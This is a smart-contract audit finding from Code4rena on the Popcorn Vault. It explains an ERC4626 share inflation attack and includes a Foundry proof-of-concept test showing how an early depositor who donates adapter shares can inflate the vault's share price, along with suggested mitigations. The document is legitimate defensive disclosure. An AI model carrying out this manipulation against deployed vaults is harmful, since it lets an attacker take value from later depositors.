code423n4 commented 1 year ago

Lines of code

https://github.com/code-423n4/2023-01-popcorn/blob/main/src/vault/Vault.sol#L285-L287

Vulnerability details

Description

This is the classic share inflation attack described here: https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677

The popcorn Vault is an abstraction on top of other vaults which acts like adapters to wrap other yield bearing protocols. Hence the asset in Vault are the shares in this adapter.

An early user can get shares in the underlying vault by depositing assets directly there. Then deposit 1 wei into the vault and donate the minted adapter shares to the vault. Effectively exploding the share value.

Impact

An early user can drastically impact the share value for later users.

Proof of Concept

PoC test in Vault.t.sol:

  function test__inital_share_price_manipulation() public {
    // setup
    asset.mint(alice, 1e18);

    vm.startPrank(alice);
    asset.approve(address(vault), 1);
    asset.approve(address(adapter), 1e18-1);

    // lock some assets directly in the adapter to get adapter shares
    adapter.deposit(1e18-1,alice);

    // deposit 1 wei into vault
    vault.deposit(1);

    // vault conversion is 1:1 (1 share requires 1 asset)
    console.log("assets required per share before",vault.convertToAssets(1));

    // transfer adapter shares to vault
    adapter.transfer(address(vault),1e18-1);
    vm.stopPrank();

    // vault conversion is now (1e18:1, 1 share requires 1e18 assets)
    console.log("assets required per share after",vault.convertToAssets(1));
  }

Tools Used

manual audit, vs code, forge

Recommended Mitigation Steps

There are a couple of different approaches to mitigating this:

Burn first 1000 shares
In the same way that the asset ERC4626 contract keeps an internal balance the vault could
only allow Vault to deposit/mint in the adapter.
Follow the recommendation in https://ethereum-magicians.org/t/address-eip-4626-inflation-attacks-with-virtual-shares-and-assets/12677 and inflate the decimals in the shares.

c4-judge commented 1 year ago

dmvt marked the issue as duplicate of #15

c4-sponsor commented 1 year ago

RedVeil marked the issue as sponsor confirmed